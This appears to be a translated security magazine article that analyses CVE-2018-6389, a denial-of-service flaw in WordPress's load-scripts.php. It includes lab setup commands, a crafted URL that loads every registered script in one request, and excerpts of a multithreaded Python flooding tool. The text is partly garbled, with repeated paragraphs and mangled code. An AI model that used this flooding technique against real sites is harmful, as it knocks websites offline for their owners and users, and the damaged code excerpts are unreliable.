Article content
- Stand
- Vulnerability details
- Automate it
- Vulnerability demonstration (video)
In WordPress itself, popular CMS in the world, a bug was found that allows you to cause a site denial of service, that is, DoS. Successful operation can easily be carried out remotely, and for this you do not need to have any rights in the system.
The flaw was discovered by Israeli researcher Barak Tawily aka Quitten while he was looking into another WordPress project. The vulnerability has been given the identifier CVE-2018-6389 and is present on thousands of sites around the world, since WordPress developers The Foundation has been slow to acknowledge the seriousness of the problem and fix it. As a result, even the most recent CMS versions at the time of writing the article were not spared from the bug – 4.9.5.
So, I propose to take a closer look at the vulnerability, and there you will decide for yourself how terrible the devil is. Stand
I've already raised the WordPress vulnerability test bench several times to write about another vulnerability, so I'll quickly go over the main aspects without going into too much detail.
By tradition, we use the Docker container on Debian and the seventh version of PHP with Apache.Download and extract WordPress version ii 4.9.5: $ cd /tmp && wget https://wordpress.org/wordpress-4.9.5.tar.gz $ tar xzf wordpress-4.9.5.tar.gz $ rm -rf /var/www/html/&& mv wordpress//var/www/html/ $ chown -R www-data:www-data /var/www/ html/
Starting the necessary services: $ service mysql start && service apache2 start $ mysql -u root -e "CREATE DATABASE wpdos; GRANT ALL PRIVILEGES ON *.TO 'root'@'localhost' IDENTIFIED BY 'megapass';"
The next step is to install the CMS through browser.
WordPress Installation We recommend reading: Xakep #280. Jail-2022 Issue content
Hacker Subscription-60% Vulnerability details
So, Tavili, while browsing another WordPress site, noticed the script load-scripts.php. It is used to display JavaScript. The names of the files to be loaded are specified in the parameter load, and their contents are merged when output. This was done in order to speed up page loading and reduce the number of requests to the server.
Thus, in order for the browser to receive all the JS files necessary for the correct display, it is enough to make a request for one script load-scripts.php, in the parameters of which all required JavaScript files will be listed. By the way, this is a fairly common practice when developing a backend. The script has the same logic load-styles.php, for CSS files only.
Let's look at the source code load-scripts.php. File names are separated by commas. /wp-admin/load-scripts.php
17: $load = $_GET['load']; 18: if ( is_array( $load ) ) 19: $load = implode( '', $load ); 20: 21: $load = preg_replace( '/[^a-z0-9,_-]+/i', '', $load ); 22: $load = array_unique( explode( ',', $load ) );
What kind of scripts can we download? Of course, you won't be able to read an arbitrary file, there is a clearly defined list of allowed objects.
/wp-admin/load-scripts.php
48: foreach ( $load as $handle ) { 49: if ( !array_key_exists($handle, $wp_scripts->registered) ) 50: continue; 51:52: $path = ABSPATH . $wp_scripts->registered[$handle]->src; 53: $out .= get_file($path) . "n"; 54: }
This list is in property registered class WP_Scripts and filled in using the function wp_default_scripts from file
script-loader.php.
/wp-admin/load-scripts.php 36: $wp_scripts = new WP_Scripts; 37: wp_default_scripts($wp_scripts); /wp-includes/script- loader.php37: /38: Register all WordPress scripts. ... 46: @param WP_Scripts $scripts WP_Scripts object. 47: */ 48: function wp_default_scripts( &$scripts ) {
The list of files allowed for uploading is replenished using the method . /wp-includes/script-loader.php 048: function wp_default_scripts( &$scripts ) { ... 086: $scripts->add( 'wp-a11y', "/wp-includes/js/wp-a11y$suffix.js", array( 'jquery' ), false, 1 ); 087: 088: $scripts->add( 'sack', "/wp-includes/js/tw-sack$suffix.js", array, '1.6.1', 1 ); ... 125: $scripts->add( 'editor', "/wp-admin/js/editor$suffix.js", array('utils','jquery'), false, 1 ); ...
The call parameters specify the name of the element, the path to the file, dependencies on other elements, the version, and so on.
/wp-includes/class.wp-scripts.php
18: class WP_Scripts extends WP_Dependencies {
/wp-includes/class.wp-dependencies.php 206: public function add( $handle, $src, $deps = array, $ver = false, $args = null ) { 207: if ( isset($this->registered[$handle]) ) 208: return false; 209: $this->registered[$handle] = new _WP_Dependency( $handle, $src, $deps, $ver, $args ); 210: return true; 211: }
A complete list of all calls to loadable items can be found here. There are 181 of them in total. Minified versions of scripts are loaded by default. /wp-includes/script-loader.php
67: $suffix = SCRIPT_DEBUG ? '' : '.min'; 68: $dev_suffix = $develop_src ? '' : '.min'; Call to load script utils.min.js via load-scripts.php
The idea is to read all possible JS files in one request. It turns out to be monstrous, I will not quote it in its entirety, but instead of the ellipsis at the end, there should be 170 more file names. The time elapsed from the sending of a request to the first received byte of the response, equals ~500 milliseconds. Approximately so much the server processed this request. Loading all JS files at the same time via a request to load-scripts.php
Each file is read separately using file_get_contents . /wp-admin/includes/noop.php102: function get_file( $path ) { 103: 104: if ( function_exists('realpath') ) { 105: $path = realpath( $path ); 106: } 107: 108: if ( ! $path || ! @is_file( $path ) ) { 109: return ''; 110: } 111: 112: return @file_get_contents( $path ); 113: }
It turns out that each request will cause 181 I / O operations, and if there are many such requests, then soon server may start having problems. This is especially true for sites on shared hosting. Automate it
Now let's organize multiple requests to that URL. For these purposes, Tavili used a self-written utility called doser, which executes requests to the server in the specified number of threads. The script itself is written in Python 2.7 using the requests and threading libraries.
The calling procedure is simple: $ python doser.py -g -t 999
Key g tells us that we need to send requests using the GET method, and using t you can specify the number of threads.
doser.py 067: def sendGET(url): ... 070: try: 071: request_counter+=1 072: request = requests.get(url, headers=headers) ... 094: while True: 095: global url 096: sendGET(url) ... 113: def main(argv): ... 115: parser.add_argument( '-g', help='Specify GET request.Usage: -g '' ') ... 119: parser.add_argument('-t', help='Specify number of threads to be used', default=500, type=int) ... 128: for i in range(args.t) : 129: t = SendGETThread
Perhaps the solution is not the fastest and most optimal, but the script works in good faith and copes with the task. After two thousand requests, our simple server is no longer available to the average user. Successfully carried out DoS attack
To add a little more load, you can additionally send requests to load CSS files via load-styles.php .
Vulnerability demonstration (video) Conclusions Conclusions
In WordPress itself, popular CMS in the world, a bug was found that allows you to cause a site denial of service, that is, DoS. Successful operation can easily be carried out remotely, and for this you do not need to have any rights in the system.The flaw was discovered by Israeli researcher Barak Tawily aka Quitten while he was looking into another WordPress project. The vulnerability has been given the identifier CVE-2018-6389 and is present on thousands of sites around the world, since WordPress developers The Foundation has been slow to acknowledge the seriousness of the problem and fix it. As a result, even the most recent CMS versions at the time of writing the article were not spared from the bug – 4.9.5. So, I propose to take a closer look at the vulnerability, and there you will decide for yourself how terrible the devil is.
By tradition, we use the Docker container on Debian and the seventh version of PHP with Apache.
$ docker run -it --rm -p80:80 --name=wpdos --hostname=wpdos debian /bin/bash $ apt-get update && apt-get install -y mysql-server apache2 php php7.0-mysqli nano wget 
http://wpdos.visualhack/wp-admin/load-scripts.php?load=utils,common,wp-a11y,sack,quicktags,colorpicker,editor,wp-fullscreen-stub,wp- ajax-response,wp-api-request,wp-pointer...
Conclusions
Here is such a non-standard attack vector. Of course, the impact of its use is not too serious, otherwise we would have already observed a massive “death”. A properly configured dedicated server should not suffer from such a trick. But on shared hosting there are limits on consumed resources, and if they are exhausted, problems may arise. So, during testing on one of my sites, the hoster spammed my mail with messages about exceeding the allocated limits.
Why doesn't WordPress consider this a problem and take the time to fix it? On the one hand, developers can be understood: they are not responsible for the use of their CMS on weak or incorrectly configured servers (WordPress is actually far from the easiest CMS). But this is not at all what you want to hear from the developers of the system on which your blog runs. The problem will still have to be fixed, and I'm sure there are plenty of harmless ways to do this. She already got CVE after all!
Source : xaker.ru